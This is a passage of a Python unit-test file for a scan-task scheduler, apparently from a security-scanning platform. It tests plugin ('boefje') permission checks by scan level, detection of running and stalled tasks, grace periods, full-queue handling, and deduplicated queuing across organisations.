self.mock_get_plugin = mock.patch(\n            \"scheduler.context.AppContext.services.katalogus.get_plugin_by_id_and_org_id\"\n        ).start()\n\n        self.mock_get_object = mock.patch(\"scheduler.context.AppContext.services.octopoes.get_object\").start()\n\n        self.mock_get_object_clients = mock.patch(\n            \"scheduler.context.AppContext.services.octopoes.get_object_clients\"\n        ).start()\n\n        self.mock_get_configs = mock.patch(\"scheduler.context.AppContext.services.katalogus.get_configs\").start()\n\n    def tearDown(self):\n        mock.patch.stopall()\n\n    def test_run(self):\n        \"\"\"When the scheduler is started, the run method should be called.\n        And the scheduler should start the threads.\n        \"\"\"\n        # Act\n        self.scheduler.run()\n\n        # Assert: threads started\n        thread_ids = [\"BoefjeScheduler-mutations\", \"BoefjeScheduler-new_boefjes\", \"BoefjeScheduler-rescheduling\"]\n        for thread in self.scheduler.threads:\n            self.assertIn(thread.name, thread_ids)\n            self.assertTrue(thread.is_alive())\n\n        self.scheduler.stop()\n\n    def test_is_allowed_to_run(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        # Act\n        allowed_to_run = self.scheduler.has_boefje_permission_to_run(plugin, ooi)\n\n        # Assert\n        self.assertTrue(allowed_to_run)\n\n    def test_is_allowed_to_run_no_ooi(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        # Act\n        allowed_to_run = self.scheduler.has_boefje_permission_to_run(plugin, ooi)\n\n        # Assert\n        self.assertTrue(allowed_to_run)\n\n    def test_is_not_allowed_to_run(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=4, consumes=[ooi.object_type])\n\n        # Act\n        with capture_logs() as cm:\n            allowed_to_run = self.scheduler.has_boefje_permission_to_run(plugin, ooi)\n\n        # Assert\n        self.assertFalse(allowed_to_run)\n        self.assertIn(\"is too intense\", cm[-1].get(\"event\"))\n\n    def test_is_task_not_running(self):\n        \"\"\"When both the task cannot be found in the datastore and bytes\n        the task is not running.\n        \"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = BoefjeFactory()\n        boefje_task = models.BoefjeTask(boefje=boefje, input_ooi=ooi.primary_key, organization=self.organisation.id)\n\n        # Mock\n        self.mock_get_latest_task_by_hash.return_value = None\n        self.mock_get_last_run_boefje.return_value = None\n\n        # Act\n        is_running = self.scheduler.has_boefje_task_started_running(None, None, boefje_task)\n\n        # Assert\n        self.assertFalse(is_running)\n\n    def test_has_boefje_task_started_running_datastore_running(self):\n        \"\"\"When the task is found in the datastore and the status isn't\n        failed or completed, then the task is still running.\n        \"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = BoefjeFactory()\n        boefje_task = models.BoefjeTask(boefje=boefje, input_ooi=ooi.primary_key, organization=self.organisation.id)\n\n        task = functions.create_task(\n            scheduler_id=self.scheduler.scheduler_id, data=boefje_task, organisation=self.organisation.id\n        )\n\n        # Mock\n        self.mock_get_latest_task_by_hash.return_value = task\n        self.mock_get_last_run_boefje.return_value = None\n\n        # Act\n        is_running = self.scheduler.has_boefje_task_started_running(task, None, boefje_task)\n\n        # Assert\n        self.assertTrue(is_running)\n\n    def test_has_boefje_task_started_running_datastore_not_running(self):\n        \"\"\"When the task is found in the datastore and the status is\n        failed or completed, then the task is not running.\n        \"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = BoefjeFactory()\n        boefje_task = models.BoefjeTask(boefje=boefje, input_ooi=ooi.primary_key, organization=self.organisation.id)\n\n        task_db_first = models.Task(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            priority=1,\n            status=models.TaskStatus.COMPLETED,\n            type=models.BoefjeTask.type,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            created_at=datetime.now(timezone.utc),\n            modified_at=datetime.now(timezone.utc),\n        )\n\n        task_db_second = models.Task(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            priority=1,\n            type=models.BoefjeTask.type,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            status=models.TaskStatus.FAILED,\n            created_at=datetime.now(timezone.utc),\n            modified_at=datetime.now(timezone.utc),\n        )\n\n        bytes_task = BoefjeMetaFactory(boefje=boefje, input_ooi=ooi.primary_key, ended_at=datetime.now(timezone.utc))\n\n        # Mock\n        self.mock_get_latest_task_by_hash.side_effect = [task_db_first, task_db_second]\n        self.mock_get_last_run_boefje.return_value = bytes_task\n\n        # First run\n        is_running = self.scheduler.has_boefje_task_started_running(task_db_first, bytes_task, boefje_task)\n        self.assertFalse(is_running)\n\n        # Second run\n        is_running = self.scheduler.has_boefje_task_started_running(task_db_second, bytes_task, boefje_task)\n        self.assertFalse(is_running)\n\n    def test_has_boefje_task_started_running_datastore_exception(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = BoefjeFactory()\n        task = models.BoefjeTask(boefje=boefje, input_ooi=ooi.primary_key, organization=self.organisation.id)\n\n        # Mock\n        self.mock_get_latest_task_by_hash.side_effect = Exception(\"Something went wrong\")\n        self.mock_get_last_run_boefje.return_value = None\n\n        # Act\n        with self.assertRaises(Exception):\n            self.scheduler.has_boefje_task_started_running(task)\n\n    def test_has_boefje_task_started_running_bytes_running(self):\n        \"\"\"When task is found in bytes and the started_at field is not None, and\n        the ended_at field is None. The task is still running.\"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = BoefjeFactory()\n        task = models.BoefjeTask(boefje=boefje, input_ooi=ooi.primary_key, organization=self.organisation.id)\n        bytes_task = BoefjeMetaFactory(boefje=boefje, input_ooi=ooi.primary_key, ended_at=None)\n\n        # Mock\n        self.mock_get_latest_task_by_hash.return_value = None\n        self.mock_get_last_run_boefje.return_value = bytes_task\n\n        # Act\n        is_running = self.scheduler.has_boefje_task_started_running(None, bytes_task, task)\n\n        # Assert\n        self.assertTrue(is_running)\n\n    def test_has_boefje_task_started_running_bytes_not_running(self):\n        \"\"\"When task is found in bytes and the started_at field is not None, and\n        the ended_at field is not None. The task is not running.\"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = BoefjeFactory()\n        task = models.BoefjeTask(boefje=boefje, input_ooi=ooi.primary_key, organization=self.organisation.id)\n        bytes_task = BoefjeMetaFactory(boefje=boefje, input_ooi=ooi.primary_key, ended_at=datetime.now(timezone.utc))\n\n        # Mock\n        self.mock_get_latest_task_by_hash.return_value = None\n        self.mock_get_last_run_boefje.return_value = bytes_task\n\n        # Act\n        is_running = self.scheduler.has_boefje_task_started_running(None, bytes_task, task)\n\n        # Assert\n        self.assertFalse(is_running)\n\n    def test_has_boefje_task_started_running_stalled_before_grace_period(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje_task = models.BoefjeTask(\n            boefje=BoefjeFactory(), input_ooi=ooi.primary_key, organization=self.organisation.id\n        )\n\n        task_db = models.Task(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            priority=1,\n            status=models.TaskStatus.DISPATCHED,\n            type=models.BoefjeTask.type,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            created_at=datetime.now(timezone.utc),\n            modified_at=datetime.now(timezone.utc),\n        )\n\n        # Mock\n        self.mock_get_latest_task_by_hash.return_value = task_db\n        self.mock_get_last_run_boefje.return_value = None\n        self.mock_get_plugin.return_value = None\n\n        # Act\n        self.assertFalse(self.scheduler.has_boefje_task_stalled(task_db, boefje_task))\n\n    def test_has_boefje_task_started_running_stalled_after_grace_period(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje_task = models.BoefjeTask(\n            boefje=BoefjeFactory(), input_ooi=ooi.primary_key, organization=self.organisation.id\n        )\n\n        task_db = models.Task(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            priority=1,\n            status=models.TaskStatus.DISPATCHED,\n            type=models.BoefjeTask.type,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            created_at=datetime.now(timezone.utc),\n            modified_at=datetime.now(timezone.utc) - timedelta(seconds=self.mock_ctx.config.pq_grace_period),\n        )\n\n        # Mock\n        self.mock_get_latest_task_by_hash.return_value = task_db\n        self.mock_get_last_run_boefje.return_value = None\n        self.mock_get_plugin.return_value = None\n\n        # Act\n        self.assertTrue(self.scheduler.has_boefje_task_stalled(task_db, boefje_task))\n\n    def test_has_boefje_task_started_running_mismatch_before_grace_period(self):\n        \"\"\"When a task has finished according to the datastore, (e.g. failed\n        or completed), but there are no results in bytes, we have a problem.\n        \"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje_task = models.BoefjeTask(\n            boefje=BoefjeFactory(), input_ooi=ooi.primary_key, organization=self.organisation.id\n        )\n\n        task_db = models.Task(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            priority=1,\n            status=models.TaskStatus.COMPLETED,\n            type=models.BoefjeTask.type,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            created_at=datetime.now(timezone.utc),\n            modified_at=datetime.now(timezone.utc),\n        )\n\n        # Mock\n        self.mock_get_latest_task_by_hash.return_value = task_db\n        self.mock_get_last_run_boefje.return_value = None\n        self.mock_get_plugin.return_value = None\n\n        # Act\n        with self.assertRaises(RuntimeError):\n            self.scheduler.has_boefje_task_started_running(task_db, None, boefje_task)\n\n    def test_has_boefje_task_started_running_mismatch_after_grace_period(self):\n        \"\"\"When a task has finished according to the datastore, (e.g. failed\n        or completed), but there are no results in bytes, we have a problem.\n        However when the grace period has been reached we should not raise\n        an error.\n        \"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje_task = models.BoefjeTask(\n            boefje=BoefjeFactory(), input_ooi=ooi.primary_key, organization=self.organisation.id\n        )\n\n        task_db = models.Task(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            priority=1,\n            status=models.TaskStatus.COMPLETED,\n            type=models.BoefjeTask.type,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            created_at=datetime.now(timezone.utc),\n            modified_at=datetime.now(timezone.utc) - timedelta(seconds=self.mock_ctx.config.pq_grace_period),\n        )\n\n        # Mock\n        self.mock_get_latest_task_by_hash.return_value = task_db\n        self.mock_get_last_run_boefje.return_value = None\n        self.mock_get_plugin.return_value = None\n\n        # Act\n        self.assertFalse(self.scheduler.has_boefje_task_started_running(task_db, None, boefje_task))\n\n    def test_has_boefje_task_grace_period_passed_datastore_passed(self):\n        \"\"\"Grace period passed according to datastore, and the status is completed\"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje_task = models.BoefjeTask(\n            boefje=BoefjeFactory(), input_ooi=ooi.primary_key, organization=self.organisation.id\n        )\n\n        task_db = models.Task(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            priority=1,\n            status=models.TaskStatus.COMPLETED,\n            type=models.BoefjeTask.type,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            created_at=datetime.now(timezone.utc),\n            modified_at=datetime.now(timezone.utc) - timedelta(seconds=self.mock_ctx.config.pq_grace_period),\n        )\n\n        # Mock\n        self.mock_get_latest_task_by_hash.return_value = task_db\n        self.mock_get_last_run_boefje.return_value = None\n        self.mock_get_plugin.return_value = None\n\n        # Act\n        has_passed = self.scheduler.has_boefje_task_grace_period_passed(task_db, None, boefje_task)\n\n        # Assert\n        self.assertTrue(has_passed)\n\n    def test_has_boefje_task_grace_period_passed_datastore_not_passed(self):\n        \"\"\"Grace period not passed according to datastore.\"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje_task = models.BoefjeTask(\n            boefje=BoefjeFactory(), input_ooi=ooi.primary_key, organization=self.organisation.id\n        )\n\n        task_db = models.Task(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            priority=1,\n            status=models.TaskStatus.COMPLETED,\n            type=models.BoefjeTask.type,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            created_at=datetime.now(timezone.utc),\n            modified_at=datetime.now(timezone.utc),\n        )\n\n        # Mock\n        self.mock_get_latest_task_by_hash.return_value = task_db\n        self.mock_get_last_run_boefje.return_value = None\n        self.mock_get_plugin.return_value = None\n\n        # Act\n        has_passed = self.scheduler.has_boefje_task_grace_period_passed(task_db, None, boefje_task)\n\n        # Assert\n        self.assertFalse(has_passed)\n\n    def test_has_boefje_task_grace_period_passed_bytes_passed(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = BoefjeFactory()\n        boefje_task = models.BoefjeTask(boefje=boefje, input_ooi=ooi.primary_key, organization=self.organisation.id)\n\n        task_db = models.Task(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            priority=1,\n            status=models.TaskStatus.COMPLETED,\n            type=models.BoefjeTask.type,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            created_at=datetime.now(timezone.utc),\n            modified_at=datetime.now(timezone.utc) - timedelta(seconds=self.mock_ctx.config.pq_grace_period),\n        )\n\n        task_bytes = BoefjeMetaFactory(\n            boefje=boefje,\n            input_ooi=ooi.primary_key,\n            ended_at=datetime.now(timezone.utc) - timedelta(seconds=self.mock_ctx.config.pq_grace_period),\n        )\n\n        # Mock\n        self.mock_get_latest_task_by_hash.return_value = task_db\n        self.mock_get_last_run_boefje.return_value = task_bytes\n        self.mock_get_plugin.return_value = None\n\n        # Act\n        has_passed = self.scheduler.has_boefje_task_grace_period_passed(task_db, task_bytes, boefje_task)\n\n        # Assert\n        self.assertTrue(has_passed)\n\n    def test_has_boefje_task_grace_period_passed_bytes_not_passed(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = BoefjeFactory()\n        boefje_task = models.BoefjeTask(boefje=boefje, input_ooi=ooi.primary_key, organization=self.organisation.id)\n\n        task_db = models.Task(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            priority=1,\n            status=models.TaskStatus.COMPLETED,\n            type=models.BoefjeTask.type,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            created_at=datetime.now(timezone.utc),\n            modified_at=datetime.now(timezone.utc) - timedelta(seconds=self.mock_ctx.config.pq_grace_period),\n        )\n\n        task_bytes = BoefjeMetaFactory(boefje=boefje, input_ooi=ooi.primary_key, ended_at=datetime.now(timezone.utc))\n\n        # Mock\n        self.mock_get_latest_task_by_hash.return_value = task_db\n        self.mock_get_last_run_boefje.return_value = task_bytes\n        self.mock_get_plugin.return_value = None\n\n        # Act\n        has_passed = self.scheduler.has_boefje_task_grace_period_passed(task_db, task_bytes, boefje_task)\n\n        # Assert\n        self.assertFalse(has_passed)\n\n    def test_push_boefje_task(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = BoefjeFactory()\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        boefje_task = models.BoefjeTask(\n            boefje=models.Boefje.model_validate(boefje.model_dump()),\n            input_ooi=ooi.primary_key,\n            organization=self.organisation.id,\n        )\n\n        # Mocks\n        self.mock_get_latest_task_by_hash.return_value = None\n        self.mock_get_last_run_boefje.return_value = None\n        self.mock_get_plugin.return_value = plugin\n\n        # Act\n        self.scheduler.push_boefje_task(boefje_task, self.organisation.id)\n\n        # Assert\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n    def test_push_boefje_task_no_ooi(self):\n        # Arrange\n        boefje = BoefjeFactory()\n        plugin = PluginFactory(scan_level=0)\n\n        boefje_task = models.BoefjeTask(\n            boefje=models.Boefje.model_validate(boefje.model_dump()), input_ooi=None, organization=self.organisation.id\n        )\n\n        # Mocks\n        self.mock_get_latest_task_by_hash.return_value = None\n        self.mock_get_last_run_boefje.return_value = None\n        self.mock_get_plugin.return_value = plugin\n\n        # Act\n        self.scheduler.push_boefje_task(boefje_task, self.organisation.id)\n\n        # Assert\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n    @mock.patch(\"scheduler.schedulers.BoefjeScheduler.has_boefje_task_started_running\")\n    @mock.patch(\"scheduler.schedulers.BoefjeScheduler.has_boefje_permission_to_run\")\n    @mock.patch(\"scheduler.schedulers.BoefjeScheduler.has_boefje_task_grace_period_passed\")\n    @mock.patch(\"scheduler.schedulers.BoefjeScheduler.is_item_on_queue_by_hash\")\n    @mock.patch(\"scheduler.context.AppContext.datastores.task_store.get_latest_task_by_hash\")\n    def test_push_boefje_task_queue_full(\n        self,\n        mock_get_latest_task_by_hash,\n        mock_is_item_on_queue_by_hash,\n        mock_has_boefje_task_grace_period_passed,\n        mock_has_boefje_permission_to_run,\n        mock_has_boefje_task_started_running,\n    ):\n        \"\"\"When the task queue is full, the task should not be pushed\"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        boefje_task = models.BoefjeTask(\n            boefje=models.Boefje.model_validate(plugin.model_dump()),\n            input_ooi=ooi.primary_key,\n            organization=self.organisation.id,\n        )\n\n        self.scheduler.queue.maxsize = 1\n        self.scheduler.max_tries = 1\n\n        # Mocks\n        mock_has_boefje_permission_to_run.return_value = True\n        mock_has_boefje_task_started_running.return_value = False\n        mock_has_boefje_task_grace_period_passed.return_value = True\n        mock_is_item_on_queue_by_hash.return_value = False\n        mock_get_latest_task_by_hash.return_value = None\n        self.mock_get_plugin.return_value = plugin\n\n        # Act\n        self.scheduler.push_boefje_task(boefje_task, self.organisation.id)\n\n        # Assert\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        with capture_logs() as cm:\n            self.scheduler.push_boefje_task(boefje_task, self.organisation.id)\n\n        self.assertIn(\"Queue is full\", cm[-1].get(\"event\"))\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n    @mock.patch(\"scheduler.schedulers.BoefjeScheduler.has_boefje_task_stalled\")\n    @mock.patch(\"scheduler.schedulers.BoefjeScheduler.has_boefje_task_started_running\")\n    @mock.patch(\"scheduler.schedulers.BoefjeScheduler.has_boefje_permission_to_run\")\n    @mock.patch(\"scheduler.schedulers.BoefjeScheduler.has_boefje_task_grace_period_passed\")\n    @mock.patch(\"scheduler.schedulers.BoefjeScheduler.is_item_on_queue_by_hash\")\n    @mock.patch(\"scheduler.context.AppContext.datastores.task_store.get_tasks_by_hash\")\n    def test_push_boefje_task_stalled(\n        self,\n        mock_get_tasks_by_hash,\n        mock_is_item_on_queue_by_hash,\n        mock_has_boefje_task_grace_period_passed,\n        mock_has_boefje_permission_to_run,\n        mock_has_boefje_task_started_running,\n        mock_has_boefje_task_stalled,\n    ):\n        \"\"\"When a task has stalled it should be set to failed.\"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = BoefjeFactory()\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        boefje_task = models.BoefjeTask(boefje=boefje, input_ooi=ooi.primary_key, organization=self.organisation.id)\n\n        task = models.Task(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            priority=1,\n            type=models.BoefjeTask.type,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            created_at=datetime.now(timezone.utc),\n            modified_at=datetime.now(timezone.utc),\n        )\n\n        # Mocks\n        self.mock_get_plugin.return_value = plugin\n\n        # Act\n        self.scheduler.push_item_to_queue(task)\n\n        # Assert: task should be on priority queue\n        task_pq = models.BoefjeTask(**self.scheduler.queue.peek(0).data)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(ooi.primary_key, task_pq.input_ooi)\n        self.assertEqual(boefje_task.boefje.id, task_pq.boefje.id)\n\n        # Assert: task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(task.id)\n        self.assertEqual(task_db.id, task.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n        # Act\n        self.scheduler.pop_item_from_queue()\n\n        # Assert: task should be in datastore, and dispatched\n        task_db = self.mock_ctx.datastores.task_store.get_task(task.id)\n        self.assertEqual(task_db.id, task.id)\n        self.assertEqual(task_db.status, models.TaskStatus.DISPATCHED)\n\n        # Mocks\n        mock_has_boefje_permission_to_run.return_value = True\n        mock_has_boefje_task_grace_period_passed.return_value = True\n        mock_has_boefje_task_stalled.return_value = True\n        mock_has_boefje_task_started_running.return_value = False\n        self.mock_get_latest_task_by_hash.return_value = task_db\n        mock_is_item_on_queue_by_hash.return_value = False\n        mock_get_tasks_by_hash.return_value = None\n\n        # Act\n        self.scheduler.push_boefje_task(boefje_task, self.organisation.id)\n\n        # Assert: task should be in datastore, and failed\n        task_db = self.mock_ctx.datastores.task_store.get_task(task.id)\n        self.assertEqual(task_db.id, task.id)\n        self.assertEqual(task_db.status, models.TaskStatus.FAILED)\n\n        # Assert: new task should be queued\n        task_pq = models.BoefjeTask(**self.scheduler.queue.peek(0).data)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(ooi.primary_key, task_pq.input_ooi)\n        self.assertEqual(boefje_task.boefje.id, task_pq.boefje.id)\n\n    def test_push_boefje_task_boefje_in_other_orgs(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n        boefje = BoefjeFactory()\n\n        boefje_task = models.BoefjeTask(\n            boefje=models.Boefje.model_validate(boefje.model_dump()),\n            input_ooi=ooi.primary_key,\n            organization=self.organisation.id,\n        )\n\n        first_organisation = self.organisation\n        second_organisation = OrganisationFactory()\n        third_organisation = OrganisationFactory()\n\n        # Mocks\n        self.mock_get_latest_task_by_hash.return_value = None\n        self.mock_get_last_run_boefje.return_value = None\n        self.mock_get_plugin.return_value = plugin\n        self.mock_get_object.return_value = ooi\n        self.mock_get_configs.return_value = [\n            models.BoefjeConfig(\n                id=7,\n                boefje_id=boefje.id,\n                enabled=True,\n                organisation_id=first_organisation.id,\n                settings={},\n                duplicates=[\n                    models.BoefjeConfig(\n                        id=8, boefje_id=boefje.id, enabled=True, organisation_id=second_organisation.id, settings={}\n                    ),\n                    models.BoefjeConfig(\n                        id=9, boefje_id=boefje.id, enabled=True, organisation_id=third_organisation.id, settings={}\n                    ),\n                ],\n            )\n        ]\n        self.mock_get_object_clients.return_value = {\n            first_organisation.id: ooi,\n            second_organisation.id: ooi,\n            third_organisation.id: ooi,\n        }\n\n        # Act\n        self.scheduler.push_boefje_task(boefje_task, self.organisation.id)\n\n        # Assert: there should be 3 tasks in the queue\n        self.assertEqual(3, self.scheduler.queue.qsize())\n\n        # Assert: the tasks should be on the queue\n        items = [self.scheduler.queue.peek(0), self.scheduler.queue.peek(1), self.scheduler.queue.peek(2)]\n        orgs = [item.organisation for item in items]\n\n        self.assertIn(first_organisation.id, orgs)\n        self.assertIn(second_organisation.id, orgs)\n        self.assertIn(third_organisation.id, orgs)\n\n        current = None\n        for item in items:\n            # Assert: the tasks should be in the datastore, and queued\n            task_db = self.mock_ctx.datastores.task_store.get_task(item.id)\n            self.assertEqual(task_db.id, item.id)\n            self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n            # Assert: the deduplication_key of the items should be the same\n            if current is None:\n                current = item.data.get(\"deduplication_key\")\n            self.assertEqual(current, item.data.get(\"deduplication_key\"))\n\n            # Assert: Schedule should be in datastore\n            schedule_db = self.mock_ctx.datastores.schedule_store.get_schedule(task_db.schedule_id)\n            self.assertEqual(schedule_db.id, task_db.schedule_id)\n\n        # Assert: deduplication_key should be the same for all items when popped\n        popped_items = self.scheduler.pop_item_from_queue()\n        self.assertEqual(3, len(popped_items))\n        current = None\n        for item in popped_items:\n            if current is None:\n                current = item.data.get(\"deduplication_key\")\n            self.assertEqual(current, item.data.get(\"deduplication_key\"))\n\n    def test_push_boefje_task_boefje_in_other_orgs_one_org(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n        boefje = BoefjeFactory()\n\n        boefje_task = models.BoefjeTask(\n            boefje=models.Boefje.model_validate(boefje.model_dump()),\n            input_ooi=ooi.primary_key,\n            organization=self.organisation.id,\n        )\n\n        first_organisation = self.organisation\n        second_organisation = OrganisationFactory()\n        third_organisation = OrganisationFactory()\n\n        # Mocks\n        self.mock_get_latest_task_by_hash.return_value = None\n        self.mock_get_last_run_boefje.return_value = None\n        self.mock_get_plugin.return_value = plugin\n        self.mock_get_object.return_value = ooi\n        self.mock_get_configs.return_value = [\n            models.BoefjeConfig(\n                id=7, boefje_id=boefje.id, enabled=True, organisation_id=self.organisation.id, settings={}\n            )\n        ]\n        self.mock_get_object_clients.return_value = {\n            first_organisation.id: ooi,\n            second_organisation.id: ooi,\n            third_organisation.id: ooi,\n        }\n\n        # Act\n        self.scheduler.push_boefje_task(boefje_task, self.organisation.id)\n\n        # Assert: there should be 1 tasks in the queue\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Assert: the tasks should be on the queue\n        item = self.scheduler.queue.peek(0)\n        self.assertEqual(first_organisation.id, item.organisation)\n\n        # Assert: popped items should be 1\n        popped_items = self.scheduler.pop_item_from_queue()\n        self.assertEqual(1, len(popped_items))\n        self.assertIsNone(popped_items[0].data.get(\"deduplication_key\"))\n\n    def test_push_boefje_task_boefje_in_other_orgs_no_configs(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n        boefje = BoefjeFactory()\n\n        boefje_task = models.BoefjeTask(\n            boefje=models.Boefje.model_validate(boefje.model_dump()),\n            input_ooi=ooi.primary_key,\n            organization=self.organisation.id,\n        )\n\n        first_organisation = self.organisation\n\n        # Mocks\n        self.mock_get_latest_task_by_hash.return_value = None\n        self.mock_get_last_run_boefje.return_value = None\n        self.mock_get_plugin.return_value = plugin\n        self.mock_get_object.return_value = ooi\n        self.mock_get_configs.return_value = [\n            BoefjeConfig(\n                id=1,\n                boefje_id=boefje.id,\n                enabled=True,\n                organisation_id=first_organisation.id,\n                settings={},\n                duplicates=[],\n            )\n        ]\n        self.mock_get_object_clients.return_value = {first_organisation.id: ooi}\n\n        # Act\n        self.scheduler.push_boefje_task(boefje_task, self.organisation.id)\n\n        # Assert: there should be 1 task in the queue\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Assert: the task should be on the queue\n        item = self.scheduler.queue.peek(0)\n        self.assertEqual(first_organisation.id, item.organisation)\n\n        # Assert: popped items should be 1\n        popped_items = self.scheduler.pop_item_from_queue()\n        self.assertEqual(1, len(popped_items))\n        self.assertIsNone(popped_items[0].data.get(\"deduplication_key\"))\n\n    def test_push_boefje_task_boefje_in_other_orgs_no_ooi(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n        boefje = BoefjeFactory()\n\n        boefje_task = models.BoefjeTask(\n            boefje=models.Boefje.model_validate(boefje.model_dump()),\n            input_ooi=ooi.primary_key,\n            organization=self.organisation.id,\n        )\n\n        first_organisation = self.organisation\n        second_organisation = OrganisationFactory()\n        third_organisation = OrganisationFactory()\n\n        # Mocks\n        self.mock_get_latest_task_by_hash.return_value = None\n        self.mock_get_last_run_boefje.return_value = None\n        self.mock_get_plugin.return_value = plugin\n        self.mock_get_object.return_value = None\n        self.mock_get_configs.return_value = [\n            BoefjeConfig(\n                id=1,\n                boefje_id=boefje.id,\n                enabled=True,\n                organisation_id=first_organisation.id,\n                settings={},\n                duplicates=[\n                    BoefjeConfig(\n                        id=2,\n                        boefje_id=boefje.id,\n                        enabled=True,\n                        organisation_id=second_organisation.id,\n                        settings={},\n                        duplicates=[],\n                    )\n                ],\n            )\n        ]\n        self.mock_get_object_clients.return_value = {first_organisation.id: ooi, third_organisation.id: ooi}\n\n        # Act\n        self.scheduler.push_boefje_task(boefje_task, self.organisation.id)\n\n        # Assert: there should be 1 task in the queue\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Assert: the task should be on the queue\n        item = self.scheduler.queue.peek(0)\n        self.assertEqual(first_organisation.id, item.organisation)\n\n        # Assert: popped items should be 1\n        popped_items = 